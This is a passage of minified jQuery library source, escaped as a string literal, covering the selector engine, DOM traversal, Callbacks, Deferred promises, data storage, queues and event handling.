o=!i&&(n||t!==b)||((r=t).nodeType?a(e,t,n):c(e,t,n));return r=null,o}];s<o;s++)if(t=C.relative[e[s].type])u=[we(ye(u),t)];else{if((t=C.filter[e[s].type].apply(null,e[s].matches))[E]){for(n=++s;n<o&&!C.relative[e[n].type];n++);return be(1<s&&ye(u),1<s&&ve(e.slice(0,s-1).concat({value:\\\" \\\"===e[s-2].type?\\\"*\\\":\\\"\\\"})).replace(V,\\\"$1\\\"),t,s<n&&xe(e.slice(s,n)),n<o&&xe(e=e.slice(n)),n<o&&ve(e))}u.push(t)}return ye(u)}return me.prototype=C.filters=C.pseudos,C.setFilters=new me,h=ie.tokenize=function(e,t){var n,o,r,i,l,s,a,c=y[e+\\\" \\\"];if(c)return t?0:c.slice(0);for(l=e,s=[],a=C.preFilter;l;){for(i in n&&!(o=B.exec(l))||(o&&(l=l.slice(o[0].length)||l),s.push(r=[])),n=!1,(o=q.exec(l))&&(n=o.shift(),r.push({value:n,type:o[0].replace(V,\\\" \\\")}),l=l.slice(n.length)),C.filter)!(o=U[i].exec(l))||a[i]&&!(o=a[i](o))||(n=o.shift(),r.push({value:n,type:i,matches:o}),l=l.slice(n.length));if(!n)break}return t?l.length:l?ie.error(e):y(e,s).slice(0)},d=ie.compile=function(e,t){var n,m,v,w,y,o,r=[],i=[],l=T[e+\\\" \\\"];if(!l){for(t||(t=h(e)),n=t.length;n--;)(l=xe(t[n]))[E]?r.push(l):i.push(l);(l=T(e,(m=i,w=0<(v=r).length,y=0<m.length,o=function(e,t,n,o,r){var i,l,s,a=0,c=\\\"0\\\",u=e&&[],d=[],p=b,f=e||y&&C.find.TAG(\\\"*\\\",r),h=k+=null==p?1:Math.random()||.1,g=f.length;for(r&&(b=t===R||t||r);c!==g&&null!=(i=f[c]);c++){if(y&&i){for(l=0,t||i.ownerDocument===R||(x(i),n=!S);s=m[l++];)if(s(i,t||R,n)){o.push(i);break}r&&(k=h)}w&&((i=!s&&i)&&a--,e&&u.push(i))}if(a+=c,w&&c!==a){for(l=0;s=v[l++];)s(u,d,t,n);if(e){if(0<a)for(;c--;)u[c]||d[c]||(d[c]=A.call(o));d=Ce(d)}$.apply(o,d),r&&!e&&0<d.length&&1<a+v.length&&ie.uniqueSort(o)}return r&&(k=h,b=p),u},w?se(o):o))).selector=e}return l},g=ie.select=function(e,t,n,o){var r,i,l,s,a,c=\\\"function\\\"==typeof e&&e,u=!o&&h(e=c.selector||e);if(n=n||[],1===u.length){if(2<(i=u[0]=u[0].slice(0)).length&&\\\"ID\\\"===(l=i[0]).type&&9===t.nodeType&&S&&C.relative[i[1].type]){if(!(t=(C.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(r=U.needsContext.test(e)?0:i.length;r--&&(l=i[r],!C.relative[s=l.type]);)if((a=C.find[s])&&(o=a(l.matches[0].replace(Z,ee),J.test(i[0].type)&&ge(t.parentNode)||t))){if(i.splice(r,1),!(e=o.length&&ve(i)))return $.apply(n,o),n;break}}return(c||d(e,u))(o,t,!S,n,!t||J.test(e)&&ge(t.parentNode)||t),n},f.sortStable=E.split(\\\"\\\").sort(P).join(\\\"\\\")===E,f.detectDuplicates=!!c,x(),f.sortDetached=ae(function(e){return 1&e.compareDocumentPosition(R.createElement(\\\"fieldset\\\"))}),ae(function(e){return e.innerHTML=\\\"<a href='#'></a>\\\",\\\"#\\\"===e.firstChild.getAttribute(\\\"href\\\")})||ce(\\\"type|href|height|width\\\",function(e,t,n){if(!n)return e.getAttribute(t,\\\"type\\\"===t.toLowerCase()?1:2)}),f.attributes&&ae(function(e){return e.innerHTML=\\\"<input/>\\\",e.firstChild.setAttribute(\\\"value\\\",\\\"\\\"),\\\"\\\"===e.firstChild.getAttribute(\\\"value\\\")})||ce(\\\"value\\\",function(e,t,n){if(!n&&\\\"input\\\"===e.nodeName.toLowerCase())return e.defaultValue}),ae(function(e){return null==e.getAttribute(\\\"disabled\\\")})||ce(F,function(e,t,n){var o;if(!n)return!0===e[t]?t.toLowerCase():(o=e.getAttributeNode(t))&&o.specified?o.value:null}),ie}(R);E.find=y,E.expr=y.selectors,E.expr[\\\":\\\"]=E.expr.pseudos,E.uniqueSort=E.unique=y.uniqueSort,E.text=y.getText,E.isXMLDoc=y.isXML,E.contains=y.contains,E.escapeSelector=y.escape;var C=function(e,t,n){for(var o=[],r=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(r&&E(e).is(n))break;o.push(e)}return o},b=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},x=E.expr.match.needsContext;function k(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var T=/^<([a-z][^\\\\/\\\\0>:\\\\x20\\\\t\\\\r\\\\n\\\\f]*)[\\\\x20\\\\t\\\\r\\\\n\\\\f]*\\\\/?>(?:<\\\\/\\\\1>|)$/i,P=/^.[^:#\\\\[\\\\.,]*$/;function D(e,n,o){return E.isFunction(n)?E.grep(e,function(e,t){return!!n.call(e,t,e)!==o}):n.nodeType?E.grep(e,function(e){return e===n!==o}):\\\"string\\\"!=typeof n?E.grep(e,function(e){return-1<r.call(n,e)!==o}):P.test(n)?E.filter(n,e,o):(n=E.filter(n,e),E.grep(e,function(e){return-1<r.call(n,e)!==o&&1===e.nodeType}))}E.filter=function(e,t,n){var o=t[0];return n&&(e=\\\":not(\\\"+e+\\\")\\\"),1===t.length&&1===o.nodeType?E.find.matchesSelector(o,e)?[o]:[]:E.find.matches(e,E.grep(t,function(e){return 1===e.nodeType}))},E.fn.extend({find:function(e){var t,n,o=this.length,r=this;if(\\\"string\\\"!=typeof e)return this.pushStack(E(e).filter(function(){for(t=0;t<o;t++)if(E.contains(r[t],this))return!0}));for(n=this.pushStack([]),t=0;t<o;t++)E.find(e,r[t],n);return 1<o?E.uniqueSort(n):n},filter:function(e){return this.pushStack(D(this,e||[],!1))},not:function(e){return this.pushStack(D(this,e||[],!0))},is:function(e){return!!D(this,\\\"string\\\"==typeof e&&x.test(e)?E(e):e||[],!1).length}});var A,N=/^(?:\\\\s*(<[\\\\w\\\\W]+>)[^>]*|#([\\\\w-]+))$/,$=E.fn.init=function(e,t,n){var o,r;if(!e)return this;if(n=n||A,\\\"string\\\"==typeof e){if(!(o=\\\"<\\\"===e[0]&&\\\">\\\"===e[e.length-1]&&3<=e.length?[null,e,null]:N.exec(e))||!o[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(o[1]){if(t=t instanceof E?t[0]:t,E.merge(this,E.parseHTML(o[1],t&&t.nodeType?t.ownerDocument||t:S,!0)),T.test(o[1])&&E.isPlainObject(t))for(o in t)E.isFunction(this[o])?this[o](t[o]):this.attr(o,t[o]);return this}return(r=S.getElementById(o[2]))&&(this[0]=r,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):E.isFunction(e)?void 0!==n.ready?n.ready(e):e(E):E.makeArray(e,this)};$.prototype=E.fn,A=E(S);var H=/^(?:parents|prev(?:Until|All))/,L={children:!0,contents:!0,next:!0,prev:!0};function F(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(E.contains(this,t[e]))return!0})},closest:function(e,t){var n,o=0,r=this.length,i=[],l=\\\"string\\\"!=typeof e&&E(e);if(!x.test(e))for(;o<r;o++)for(n=this[o];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(l?-1<l.index(n):1===n.nodeType&&E.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(1<i.length?E.uniqueSort(i):i)},index:function(e){return e?\\\"string\\\"==typeof e?r.call(E(e),this[0]):r.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),E.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return C(e,\\\"parentNode\\\")},parentsUntil:function(e,t,n){return C(e,\\\"parentNode\\\",n)},next:function(e){return F(e,\\\"nextSibling\\\")},prev:function(e){return F(e,\\\"previousSibling\\\")},nextAll:function(e){return C(e,\\\"nextSibling\\\")},prevAll:function(e){return C(e,\\\"previousSibling\\\")},nextUntil:function(e,t,n){return C(e,\\\"nextSibling\\\",n)},prevUntil:function(e,t,n){return C(e,\\\"previousSibling\\\",n)},siblings:function(e){return b((e.parentNode||{}).firstChild,e)},children:function(e){return b(e.firstChild)},contents:function(e){return k(e,\\\"iframe\\\")?e.contentDocument:(k(e,\\\"template\\\")&&(e=e.content||e),E.merge([],e.childNodes))}},function(o,r){E.fn[o]=function(e,t){var n=E.map(this,r,e);return\\\"Until\\\"!==o.slice(-5)&&(t=e),t&&\\\"string\\\"==typeof t&&(n=E.filter(t,n)),1<this.length&&(L[o]||E.uniqueSort(n),H.test(o)&&n.reverse()),this.pushStack(n)}});var _=/[^\\\\x20\\\\t\\\\r\\\\n\\\\f]+/g;function I(e){return e}function M(e){throw e}function W(e,t,n,o){var r;try{e&&E.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&E.isFunction(r=e.then)?r.call(e,t,n):t.apply(void 0,[e].slice(o))}catch(e){n.apply(void 0,[e])}}E.Callbacks=function(o){var e,n;o=\\\"string\\\"==typeof o?(e=o,n={},E.each(e.match(_)||[],function(e,t){n[t]=!0}),n):E.extend({},o);var r,t,i,l,s=[],a=[],c=-1,u=function(){for(l=l||o.once,i=r=!0;a.length;c=-1)for(t=a.shift();++c<s.length;)!1===s[c].apply(t[0],t[1])&&o.stopOnFalse&&(c=s.length,t=!1);o.memory||(t=!1),r=!1,l&&(s=t?[]:\\\"\\\")},d={add:function(){return s&&(t&&!r&&(c=s.length-1,a.push(t)),function n(e){E.each(e,function(e,t){E.isFunction(t)?o.unique&&d.has(t)||s.push(t):t&&t.length&&\\\"string\\\"!==E.type(t)&&n(t)})}(arguments),t&&!r&&u()),this},remove:function(){return E.each(arguments,function(e,t){for(var n;-1<(n=E.inArray(t,s,n));)s.splice(n,1),n<=c&&c--}),this},has:function(e){return e?-1<E.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return l=a=[],s=t=\\\"\\\",this},disabled:function(){return!s},lock:function(){return l=a=[],t||r||(s=t=\\\"\\\"),this},locked:function(){return!!l},fireWith:function(e,t){return l||(t=[e,(t=t||[]).slice?t.slice():t],a.push(t),r||u()),this},fire:function(){return d.fireWith(this,arguments),this},fired:function(){return!!i}};return d},E.extend({Deferred:function(e){var i=[[\\\"notify\\\",\\\"progress\\\",E.Callbacks(\\\"memory\\\"),E.Callbacks(\\\"memory\\\"),2],[\\\"resolve\\\",\\\"done\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),0,\\\"resolved\\\"],[\\\"reject\\\",\\\"fail\\\",E.Callbacks(\\\"once memory\\\"),E.Callbacks(\\\"once memory\\\"),1,\\\"rejected\\\"]],r=\\\"pending\\\",l={state:function(){return r},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return l.then(null,e)},pipe:function(){var r=arguments;return E.Deferred(function(o){E.each(i,function(e,t){var n=E.isFunction(r[t[4]])&&r[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&E.isFunction(e.promise)?e.promise().progress(o.notify).done(o.resolve).fail(o.reject):o[t[0]+\\\"With\\\"](this,n?[e]:arguments)})}),r=null}).promise()},then:function(t,n,o){var a=0;function c(r,i,l,s){return function(){var n=this,o=arguments,e=function(){var e,t;if(!(r<a)){if((e=l.apply(n,o))===i.promise())throw new TypeError(\\\"Thenable self-resolution\\\");t=e&&(\\\"object\\\"==typeof e||\\\"function\\\"==typeof e)&&e.then,E.isFunction(t)?s?t.call(e,c(a,i,I,s),c(a,i,M,s)):(a++,t.call(e,c(a,i,I,s),c(a,i,M,s),c(a,i,I,i.notifyWith))):(l!==I&&(n=void 0,o=[e]),(s||i.resolveWith)(n,o))}},t=s?e:function(){try{e()}catch(e){E.Deferred.exceptionHook&&E.Deferred.exceptionHook(e,t.stackTrace),a<=r+1&&(l!==M&&(n=void 0,o=[e]),i.rejectWith(n,o))}};r?t():(E.Deferred.getStackHook&&(t.stackTrace=E.Deferred.getStackHook()),R.setTimeout(t))}}return E.Deferred(function(e){i[0][3].add(c(0,e,E.isFunction(o)?o:I,e.notifyWith)),i[1][3].add(c(0,e,E.isFunction(t)?t:I)),i[2][3].add(c(0,e,E.isFunction(n)?n:M))}).promise()},promise:function(e){return null!=e?E.extend(e,l):l}},s={};return E.each(i,function(e,t){var n=t[2],o=t[5];l[t[1]]=n.add,o&&n.add(function(){r=o},i[3-e][2].disable,i[0][2].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+\\\"With\\\"](this===s?void 0:this,arguments),this},s[t[0]+\\\"With\\\"]=n.fireWith}),l.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,o=Array(t),r=s.call(arguments),i=E.Deferred(),l=function(t){return function(e){o[t]=this,r[t]=1<arguments.length?s.call(arguments):e,--n||i.resolveWith(o,r)}};if(n<=1&&(W(e,i.done(l(t)).resolve,i.reject,!n),\\\"pending\\\"===i.state()||E.isFunction(r[t]&&r[t].then)))return i.then();for(;t--;)W(r[t],l(t),i.reject);return i.promise()}});var j=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;E.Deferred.exceptionHook=function(e,t){R.console&&R.console.warn&&e&&j.test(e.name)&&R.console.warn(\\\"jQuery.Deferred exception: \\\"+e.message,e.stack,t)},E.readyException=function(e){R.setTimeout(function(){throw e})};var V=E.Deferred();function B(){S.removeEventListener(\\\"DOMContentLoaded\\\",B),R.removeEventListener(\\\"load\\\",B),E.ready()}E.fn.ready=function(e){return V.then(e).catch(function(e){E.readyException(e)}),this},E.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--E.readyWait:E.isReady)||(E.isReady=!0)!==e&&0<--E.readyWait||V.resolveWith(S,[E])}}),E.ready.then=V.then,\\\"complete\\\"===S.readyState||\\\"loading\\\"!==S.readyState&&!S.documentElement.doScroll?R.setTimeout(E.ready):(S.addEventListener(\\\"DOMContentLoaded\\\",B),R.addEventListener(\\\"load\\\",B));var q=function(e,t,n,o,r,i,l){var s=0,a=e.length,c=null==n;if(\\\"object\\\"===E.type(n))for(s in r=!0,n)q(e,t,s,n[s],!0,i,l);else if(void 0!==o&&(r=!0,E.isFunction(o)||(l=!0),c&&(l?(t.call(e,o),t=null):(c=t,t=function(e,t,n){return c.call(E(e),n)})),t))for(;s<a;s++)t(e[s],n,l?o:o.call(e[s],s,t(e[s],n)));return r?e:c?t.call(e):a?t(e[0],n):i},O=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function z(){this.expando=E.expando+z.uid++}z.uid=1,z.prototype={cache:function(e){var t=e[this.expando];return t||(t={},O(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var o,r=this.cache(e);if(\\\"string\\\"==typeof t)r[E.camelCase(t)]=n;else for(o in t)r[E.camelCase(o)]=t[o];return r},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][E.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\\\"string\\\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,o=e[this.expando];if(void 0!==o){if(void 0!==t){t=Array.isArray(t)?t.map(E.camelCase):(t=E.camelCase(t))in o?[t]:t.match(_)||[],n=t.length;for(;n--;)delete o[t[n]]}(void 0===t||E.isEmptyObject(o))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!E.isEmptyObject(t)}};var X=new z,U=new z,K=/^(?:\\\\{[\\\\w\\\\W]*\\\\}|\\\\[[\\\\w\\\\W]*\\\\])$/,G=/[A-Z]/g;function Y(e,t,n){var o;if(void 0===n&&1===e.nodeType)if(o=\\\"data-\\\"+t.replace(G,\\\"-$&\\\").toLowerCase(),\\\"string\\\"==typeof(n=e.getAttribute(o))){try{n=function(e){if(\\\"true\\\"===e)return!0;if(\\\"false\\\"===e)return!1;if(\\\"null\\\"===e)return null;if(e===+e+\\\"\\\")return+e;if(K.test(e))return JSON.parse(e);return e}(n)}catch(e){}U.set(e,t,n)}else n=void 0;return n}E.extend({hasData:function(e){return U.hasData(e)||X.hasData(e)},data:function(e,t,n){return U.access(e,t,n)},removeData:function(e,t){U.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),E.fn.extend({data:function(n,e){var t,o,r,i=this[0],l=i&&i.attributes;if(void 0===n){if(this.length&&(r=U.get(i),1===i.nodeType&&!X.get(i,\\\"hasDataAttrs\\\"))){for(t=l.length;t--;)l[t]&&0===(o=l[t].name).indexOf(\\\"data-\\\")&&(o=E.camelCase(o.slice(5)),Y(i,o,r[o]));X.set(i,\\\"hasDataAttrs\\\",!0)}return r}return\\\"object\\\"==typeof n?this.each(function(){U.set(this,n)}):q(this,function(e){var t;if(i&&void 0===e)return void 0!==(t=U.get(i,n))?t:void 0!==(t=Y(i,n))?t:void 0;this.each(function(){U.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){U.remove(this,e)})}}),E.extend({queue:function(e,t,n){var o;if(e)return t=(t||\\\"fx\\\")+\\\"queue\\\",o=X.get(e,t),n&&(!o||Array.isArray(n)?o=X.access(e,t,E.makeArray(n)):o.push(n)),o||[]},dequeue:function(e,t){t=t||\\\"fx\\\";var n=E.queue(e,t),o=n.length,r=n.shift(),i=E._queueHooks(e,t);\\\"inprogress\\\"===r&&(r=n.shift(),o--),r&&(\\\"fx\\\"===t&&n.unshift(\\\"inprogress\\\"),delete i.stop,r.call(e,function(){E.dequeue(e,t)},i)),!o&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\\\"queueHooks\\\";return X.get(e,n)||X.access(e,n,{empty:E.Callbacks(\\\"once memory\\\").add(function(){X.remove(e,[t+\\\"queue\\\",n])})})}}),E.fn.extend({queue:function(t,n){var e=2;return\\\"string\\\"!=typeof t&&(n=t,t=\\\"fx\\\",e--),arguments.length<e?E.queue(this[0],t):void 0===n?this:this.each(function(){var e=E.queue(this,t,n);E._queueHooks(this,t),\\\"fx\\\"===t&&\\\"inprogress\\\"!==e[0]&&E.dequeue(this,t)})},dequeue:function(e){return this.each(function(){E.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\\\"fx\\\",[])},promise:function(e,t){var n,o=1,r=E.Deferred(),i=this,l=this.length,s=function(){--o||r.resolveWith(i,[i])};for(\\\"string\\\"!=typeof e&&(t=e,e=void 0),e=e||\\\"fx\\\";l--;)(n=X.get(i[l],e+\\\"queueHooks\\\"))&&n.empty&&(o++,n.empty.add(s));return s(),r.promise(t)}});var Q=/[+-]?(?:\\\\d*\\\\.|)\\\\d+(?:[eE][+-]?\\\\d+|)/.source,J=new RegExp(\\\"^(?:([+-])=|)(\\\"+Q+\\\")([a-z%]*)$\\\",\\\"i\\\"),Z=[\\\"Top\\\",\\\"Right\\\",\\\"Bottom\\\",\\\"Left\\\"],ee=function(e,t){return\\\"none\\\"===(e=t||e).style.display||\\\"\\\"===e.style.display&&E.contains(e.ownerDocument,e)&&\\\"none\\\"===E.css(e,\\\"display\\\")},te=function(e,t,n,o){var r,i,l={};for(i in t)l[i]=e.style[i],e.style[i]=t[i];for(i in r=n.apply(e,o||[]),t)e.style[i]=l[i];return r};function ne(e,t,n,o){var r,i=1,l=20,s=o?function(){return o.cur()}:function(){return E.css(e,t,\\\"\\\")},a=s(),c=n&&n[3]||(E.cssNumber[t]?\\\"\\\":\\\"px\\\"),u=(E.cssNumber[t]||\\\"px\\\"!==c&&+a)&&J.exec(E.css(e,t));if(u&&u[3]!==c)for(c=c||u[3],n=n||[],u=+a||1;u/=i=i||\\\".5\\\",E.style(e,t,u+c),i!==(i=s()/a)&&1!==i&&--l;);return n&&(u=+u||+a||0,r=n[1]?u+(n[1]+1)*n[2]:+n[2],o&&(o.unit=c,o.start=u,o.end=r)),r}var oe={};function re(e){var t,n=e.ownerDocument,o=e.nodeName,r=oe[o];return r||(t=n.body.appendChild(n.createElement(o)),r=E.css(t,\\\"display\\\"),t.parentNode.removeChild(t),\\\"none\\\"===r&&(r=\\\"block\\\"),oe[o]=r)}function ie(e,t){for(var n,o,r=[],i=0,l=e.length;i<l;i++)(o=e[i]).style&&(n=o.style.display,t?(\\\"none\\\"===n&&(r[i]=X.get(o,\\\"display\\\")||null,r[i]||(o.style.display=\\\"\\\")),\\\"\\\"===o.style.display&&ee(o)&&(r[i]=re(o))):\\\"none\\\"!==n&&(r[i]=\\\"none\\\",X.set(o,\\\"display\\\",n)));for(i=0;i<l;i++)null!=r[i]&&(e[i].style.display=r[i]);return e}E.fn.extend({show:function(){return ie(this,!0)},hide:function(){return ie(this)},toggle:function(e){return\\\"boolean\\\"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?E(this).show():E(this).hide()})}});var le=/^(?:checkbox|radio)$/i,se=/<([a-z][^\\\\/\\\\0>\\\\x20\\\\t\\\\r\\\\n\\\\f]+)/i,ae=/^$|\\\\/(?:java|ecma)script/i,ce={option:[1,\\\"<select multiple='multiple'>\\\",\\\"</select>\\\"],thead:[1,\\\"<table>\\\",\\\"</table>\\\"],col:[2,\\\"<table><colgroup>\\\",\\\"</colgroup></table>\\\"],tr:[2,\\\"<table><tbody>\\\",\\\"</tbody></table>\\\"],td:[3,\\\"<table><tbody><tr>\\\",\\\"</tr></tbody></table>\\\"],_default:[0,\\\"\\\",\\\"\\\"]};function ue(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||\\\"*\\\"):void 0!==e.querySelectorAll?e.querySelectorAll(t||\\\"*\\\"):[],void 0===t||t&&k(e,t)?E.merge([e],n):n}function de(e,t){for(var n=0,o=e.length;n<o;n++)X.set(e[n],\\\"globalEval\\\",!t||X.get(t[n],\\\"globalEval\\\"))}ce.optgroup=ce.option,ce.tbody=ce.tfoot=ce.colgroup=ce.caption=ce.thead,ce.th=ce.td;var pe,fe,he,ge=/<|&#?\\\\w+;/;function me(e,t,n,o,r){for(var i,l,s,a,c,u,d=t.createDocumentFragment(),p=[],f=0,h=e.length;f<h;f++)if((i=e[f])||0===i)if(\\\"object\\\"===E.type(i))E.merge(p,i.nodeType?[i]:i);else if(ge.test(i)){for(l=l||d.appendChild(t.createElement(\\\"div\\\")),s=(se.exec(i)||[\\\"\\\",\\\"\\\"])[1].toLowerCase(),a=ce[s]||ce._default,l.innerHTML=a[1]+E.htmlPrefilter(i)+a[2],u=a[0];u--;)l=l.lastChild;E.merge(p,l.childNodes),(l=d.firstChild).textContent=\\\"\\\"}else p.push(t.createTextNode(i));for(d.textContent=\\\"\\\",f=0;i=p[f++];)if(o&&-1<E.inArray(i,o))r&&r.push(i);else if(c=E.contains(i.ownerDocument,i),l=ue(d.appendChild(i),\\\"script\\\"),c&&de(l),n)for(u=0;i=l[u++];)ae.test(i.type||\\\"\\\")&&n.push(i);return d}pe=S.createDocumentFragment(),fe=pe.appendChild(S.createElement(\\\"div\\\")),(he=S.createElement(\\\"input\\\")).setAttribute(\\\"type\\\",\\\"radio\\\"),he.setAttribute(\\\"checked\\\",\\\"checked\\\"),he.setAttribute(\\\"name\\\",\\\"t\\\"),fe.appendChild(he),m.checkClone=fe.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.innerHTML=\\\"<textarea>x</textarea>\\\",m.noCloneChecked=!!fe.cloneNode(!0).lastChild.defaultValue;var ve=S.documentElement,we=/^key/,ye=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\\\\.(.+)|)/;function be(){return!0}function xe(){return!1}function Re(){try{return S.activeElement}catch(e){}}function Se(e,t,n,o,r,i){var l,s;if(\\\"object\\\"==typeof t){for(s in\\\"string\\\"!=typeof n&&(o=o||n,n=void 0),t)Se(e,s,n,o,t[s],i);return e}if(null==o&&null==r?(r=n,o=n=void 0):null==r&&(\\\"string\\\"==typeof n?(r=o,o=void 0):(r=o,o=n,n=void 0)),!1===r)r=xe;else if(!r)return e;return 1===i&&(l=r,(r=function(e){return E().off(e),l.apply(this,arguments)}).guid=l.guid||(l.guid=E.guid++)),e.each(function(){E.event.add(this,t,r,o,n)})}E.event={global:{},add:function(t,e,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.get(t);if(m)for(n.handler&&(n=(i=n).handler,r=i.selector),r&&E.find.matchesSelector(ve,r),n.guid||(n.guid=E.guid++),(a=m.events)||(a=m.events={}),(l=m.handle)||(l=m.handle=function(e){return void 0!==E&&E.event.triggered!==e.type?E.event.dispatch.apply(t,arguments):void 0}),e=(e||\\\"\\\").match(_)||[\\\"\\\"],c=e.length;c--;)s=Ce.exec(e[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f&&(d=E.event.special[f]||{},f=(r?d.delegateType:d.bindType)||f,d=E.event.special[f]||{},u=E.extend({type:f,origType:g,data:o,handler:n,guid:n.guid,selector:r,needsContext:r&&E.expr.match.needsContext.test(r),namespace:h.join(\\\".\\\")},i),(p=a[f])||((p=a[f]=[]).delegateCount=0,d.setup&&!1!==d.setup.call(t,o,h,l)||t.addEventListener&&t.addEventListener(f,l)),d.add&&(d.add.call(t,u),u.handler.guid||(u.handler.guid=n.guid)),r?p.splice(p.delegateCount++,0,u):p.push(u),E.event.global[f]=!0)},remove:function(e,t,n,o,r){var i,l,s,a,c,u,d,p,f,h,g,m=X.hasData(e)&&X.get(e);if(m&&(a=m.events)){for(t=(t||\\\"\\\").match(_)||[\\\"\\\"],c=t.length;c--;)if(s=Ce.exec(t[c])||[],f=g=s[1],h=(s[2]||\\\"\\\").split(\\\".\\\").sort(),f){for(d=E.event.special[f]||{},f=(o?d.delegateType:d.bindType)||f,p=a[f]||[],s=s[2]&&new RegExp(\\\"(^|\\\\\\\\.)\\\"+h.join(\\\"\\\\\\\\.(?:.*\\\\\\\\.|)\\\")+\\\"(\\\\\\\\.|$)\\\"),l=i=p.length;i--;)u=p[i],!r&&g!==u.origType||n&&n.guid!==u.guid||s&&!s.test(u.namespace)||o&&o!==u.selector&&(\\\"**\\\"!==o||!u.selector)||(p.splice(i,1),u.selector&&p.delegateCount--,d.remove&&d.remove.call(e,u));l&&!p.length&&(d.teardown&&!1!==d.teardown.call(e,h,m.handle)||E.removeEvent(e,f,m.handle),delete a[f])}else for(f in a)E.event.remove(e,f+t[c],n,o,!0);E.isEmptyObject(a)&&X.remove(e,\\\"handle events\\\")}},dispatch:function(e){var t,n,o,r,i,l,s=E.event.fix(e),a=new Array(arguments.length),c=(X.get(this,\\\"events\\\")||{})[s.type]||[],u=E.event.special[s.type]||{};for(a[0]=s,t=1;t<arguments.length;t++)a[t]=arguments[t];if(s.delegateTarget=this,!u.preDispatch||!1!==u.preDispatch.call(this,s)){for(l=E.event.handlers.call(this,s,c),t=0;(r=l[t++])&&!s.isPropagationStopped();)for(s.currentTarget=r.elem,n=0;(i=r.handlers[n++])&&!s.isImmediatePropagationStopped();)s.rnamespace&&!s.rnamespace.test(i.namespace)||(s.handleObj=i,s.data=i.data,void 0!==(o=((E.event.special[i.origType]||{}).handle||i.handler).apply(r.elem,a))&&!1===(s.result=o)&&(s.preventDefault(),s.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,o,r,i,l,s=[],a=t.delegateCount,c=e.target;if(a&&c.nodeType&&!(\\\"click\\\"===e.type&&1<=e.button))for(;c!==this;c=c.parentNode||this)if(1===c.nodeType&&(\\\"click\\\"!==e.type||!0!==c.disabled)){for(i=[],l={},n=0;n<a;n++)o=t[n],r=o.selector+\\\" \\\",void 0===l[r]&&(l[r]=o.needsContext?-1<E(r,this).index(c):E.find(r,this,null,[c]).length),l[r]&&i.push(o);i.length&&s.push({elem:c,handlers:i})}return c=this,a<t.length&&s.push({elem:c,handlers:t.slice(a)}),s},addProp:function(t,e){Object.defineProperty(E.Event.prototype,t,{enumerable:!0,configurable:!0,get:E.isFunction(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Re()&&this.focus)return this.focus(),!1},delegateType:\\\"focusin\\\"},blur:{trigger:function(){if(this===Re()&&this.blur)return this.blur(),!1},delegateType:\\\"focusout\\\"},click:{trigger:function(){if(\\\"checkbox\\\"===this.type&&this.click&&k(this,\\\"input\\\"))return this.click(),!1},_default:function(e){return k(e.target,\\\"a\\\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},E.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},E.Event=function(e,t){if(!(this instanceof E.Event))return new E.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 